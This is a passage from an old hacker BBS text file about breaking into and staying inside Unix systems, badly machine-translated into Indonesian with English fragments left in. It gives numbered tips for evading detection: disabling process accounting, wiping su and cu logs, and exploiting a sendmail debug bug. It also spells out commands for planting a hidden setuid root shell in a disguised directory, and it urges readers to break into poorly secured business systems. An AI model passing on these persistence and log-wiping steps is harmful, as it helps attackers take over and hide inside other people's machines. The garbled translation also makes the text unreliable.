           outdial, atau jika kontrol batang, jangan mengatur sekelompok dial
           menyendiri. Jika ada catatan, tidak menggunakannya kecuali Anda MEMBUTUHKAN itu.
        8. Tidak menggunakan X.25 pad. Penggunaannya adalah sangat log.
        9. Matikan acct liar (acct off) jika Anda memiliki akses ke.
           Menyalakannya ketika Anda selesai.
       10. Menghapus trojan horse Anda dibentuk untuk memberikan Anda akses ketika Anda
           mendapatkan akses.
       11. JANGAN mengubah file motd untuk mengatakan "Aku meng-hack sistem ini" Hanya
           pikir saya akan memberitahu Anda. Banyak BANYAK orang melakukan hal itu, dan kehilangan akses
           dalam waktu 2 jam, jika unix bernilai meludah.
       12. Gunakan penilaian yang baik. Menutupi trek Anda. Jika Anda menggunakan su, bersih
           atas sulog.
       13. Jika Anda menggunakan cu, membersihkan cu_log.
       14. Jika Anda menggunakan smtp bug (wizard / debug), mendirikan sebuah shell uid.
       15. Sembunyikan semua kerang SUID. Begini caranya:
           goto / usr
           (atau dir)
           lakukan:
           # Mkdir ".."
           # Cd ".."
           # Cp / bin / sh ". Apa"
           # Chmod a + s ". Apa"
           The "" adalah untuk mendapatkan ke direktori .. ! Itu tidak akan ditampilkan
           dalam sebuah daftar, dan sulit sekali untuk mendapatkan oleh sysadms jika
           Anda membuat 4 atau 5 ruang di sana ( ".."), karena semua mereka akan
           lihat di daftar Penuh direktori akan .. dan mereka tidak akan mampu
           sampai di sana kecuali jika mereka menggunakan "" dan mengetahui jarak. "" Digunakan
           bila Anda ingin melakukan literal, atau menggunakan wildcard sebagai bagian dari sebuah file
           nama.
       16. Jangan CPU hog waktu dengan password hacker. Mereka benar-benar tidak bekerja
           baik.

       17. Jangan gunakan terlalu banyak ruang disk. Jika Anda arsip sesuatu untuk dl,
           dl itu, lalu membunuh arsip.
       18. Pada dasarnya - COVER YOUR TRACKS.

Beberapa catatan akhir:

Sekarang, saya mendengar banyak desas-desus dan cerita-cerita seperti "Ini semakin sulit untuk mendapatkan
menjadi sistem ...". Salah. (Yo Pheds! Anda membaca ini??). It IS true
ketika Anda berurusan dengan WAN's, seperti Telenet, tyment, dan Internet,
tetapi tidak dengan komputer lokal tidak pada jaringan tersebut. Berikut ceritanya:

Selama beberapa tahun terakhir, banyak perusahaan-perusahaan kecil telah mencuat sebagai vars
(Value Added Reseller) untuk Unix dan Hardware, untuk membuat cepat
buck. Sekarang, perusahaan ini cepat bicara perusahaan untuk membeli apa pun,
dan mereka lanjutkan dalam mendirikan Unix. Sekarang, karena mereka dibayar oleh
jam usaually ketika mengatur salah satunya, mereka menyebar keluar selama berhari-hari ....
selama hari-hari, sistem ini WIDE terbuka (jika ia memiliki dialin). Mendapatkan
dalam dan tambahkan diri Anda untuk passwd sebelum segel it off (jika mereka lakukan ..).
Kemudian lagi, setelah mesin sudah diatur, mereka meninggalkan default pada
sistem. Mengapa? Perusahaan perlu masuk, dan sebagian besar vars tidak dapat menggunakan
unix layak brengsek, semua mereka tahu bagaimana lakukan adalah mengaturnya, dan itu SEMUA.
Kemudian, mereka menyerahkan sistem untuk sebuah perusahaan atau bisnis yang BIASANYA
sudah tidak ada yang tahu apa yang mereka neraka yang mereka lakukan dengan hal, kecuali
dengan menu. Jadi, mereka meninggalkan sistem terbuka untuk semua ... (inadvertedly..),
karena mereka tidak kompeten. Jadi, Anda bisa biasanya naik, dan menciptakan
malapetaka, dan mula-mula mereka akan berpikir bahwa itu adalah bug .. Saya telah melihat ini
SEMUA terjadi banyak kali, dan selalu cerita yang sama ...
The VAR adalah keluar untuk uang cepat, sehingga mereka mendirikan perangkat lunak (semua yang mereka ketahui
bagaimana melakukannya), dan menginstal paket-paket perangkat lunak apa pun memerintahkan dengan itu (berikut
langkah demi langkah). Kemudian mereka menyerahkannya kepada bisnis
yang menjalankan pengolah kata, atau database, atau sesuatu, un menyadari bahwa
"shell" atau baris perintah ada, dan mereka mungkin bahkan tidak tahu akar tidak.
Jadi, kita akan melihat lebih banyak dan lebih banyak dalam bentuk pop up ini, terutama karena AT & T adalah
sekarang bundling versi baru mereka Xwindows dengan System V, dan Simultask ...
yang akan mengakibatkan bahkan lebih lubang. Anda akan menemukan sistem lokal Anda
yang mudah sekali untuk masuk ke dalam, dan Anda akan melihat apa yang saya maksud. Ini
Vars benar-benar benar-benar bekerja untuk kami. Jika timbul masalah keamanan
bahwa bisnis menyadari, mereka sebut VAR untuk memperbaikinya ... Tentu saja,
yang Var dibayar per jam, dan meninggalkan sesuatu yang terbuka, sehingga Anda akan masuk
lagi, dan mereka membuat lebih moolahhhh.


Anda dapat menggunakan phile ini untuk apa pun yang Anda inginkan. Aku tidak bisa berhenti Anda. Hanya
untuk belajar unix (heh) atau apa pun. Namun ANDA bodoh jika anda tertangkap.
Selalu mempertimbangkan hukuman sebelum Anda mencoba sesuatu. Kadang-kadang
tidak layak, Kadang-kadang.

Phile ini tidak dimaksudkan untuk menjadi komprehensif, meskipun mungkin tampak seperti
ini. Saya telah ditinggalkan BANYAK teknik, dan kebiasaan, khususnya untuk mendapatkan
Anda untuk belajar SESUATU pada Anda sendiri, dan juga untuk menyimpan informasi sehingga
Aku akan memiliki beberapa rahasia. Anda dapat melewati file ini, dimodifikasi, untuk setiap
BAIK H / P BBS. Pengurus dapat menambahkan hal-hal ke arsip untuk mengatakan di mana
itu DL'd dari, atau penampil teks untuk tujuan yang sama. Ini